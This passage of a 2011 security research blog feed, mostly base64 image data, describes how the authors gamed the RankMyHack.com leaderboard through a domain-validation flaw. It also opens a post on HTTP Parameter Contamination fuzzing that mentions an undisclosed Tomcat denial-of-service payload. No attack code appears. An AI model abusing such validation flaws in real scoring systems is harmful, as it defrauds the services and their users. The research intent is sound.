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" alt="" /&gt;&lt;/div&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="mso-ansi-language: EN-US" lang="EN-US"&gt;The system accepts our request. However, the algorithm implementation seems to be incorrect and the system considers the website &lt;/span&gt;&lt;a href="http://ucoz.lv/"&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;http://ucoz.lv&lt;/span&gt;&lt;/a&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt; instead of its child domain to be hacked.&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;Let’s look at the system rating:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div style="text-align: justify;"&gt;&lt;img src="data:image/png;base64,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" alt="" /&gt;&lt;/div&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;Isn’t it funny that the participant “superman” managed to become the 10th in the TOP_HACKERS rating for 5 minutes? It&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;is&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;a&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;good&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;result&lt;/span&gt;! &lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;We decided to stop here, because it was already clear that the 1st place and international acclaim are not far off =)))&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;Here are some guys who have tried another way: &lt;/span&gt;&lt;a href="http://pastebin.com/bq8xJPMn"&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;http://pastebin.com/bq8xJPMn&lt;/span&gt;&lt;/a&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;. The results also lead us to doubt the reliability of the RankMyHack.Com rating.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;!--EndFragment--&gt;   &lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-3689726754365675572?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/08/rankmyhackcom-who-is-coolest-web-hacker.html</link><author>noreply@blogger.com (Yuri)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-rAUYFR_fzow/TsJm2XLFfJI/AAAAAAAAABE/wl-AxR2EtRM/s72-c/111111111.jpg" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-8910508877650044942</guid><pubDate>Wed, 17 Aug 2011 10:32:00 +0000</pubDate><atom:updated>2011-08-17T03:32:41.571-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">waf</category><category domain="http://www.blogger.com/atom/ns#">server-side</category><category domain="http://www.blogger.com/atom/ns#">exploits</category><category domain="http://www.blogger.com/atom/ns#">research</category><category domain="http://www.blogger.com/atom/ns#">fuzzing</category><category domain="http://www.blogger.com/atom/ns#">blackbox</category><category domain="http://www.blogger.com/atom/ns#">web security</category><title>Http Parameter Contamination (more)</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;To continue investigating the &lt;a href="http://www.exploit-db.com/download_pdf/17534"&gt;Http Parameter Contamination (HPC)&lt;/a&gt; attack, I’ve done some primitive fuzzing in the environments which had not been covered in the original research of &lt;a href="http://www.blogger.com/ivan.markovic@netsec.rs"&gt;Ivan Markovic&lt;/a&gt;. It must be mentioned, that I have not found out anything new. On the other hand, an interesting feature of the Python interpreter was revealed; I also got a payload exploit for conducting a denial-of-service attack against the Tomcat server:) But I won’t disclose anything else about the latter so far.&lt;br /&gt;
&lt;br /&gt;
The results are presented in the figure below.&lt;br /&gt;
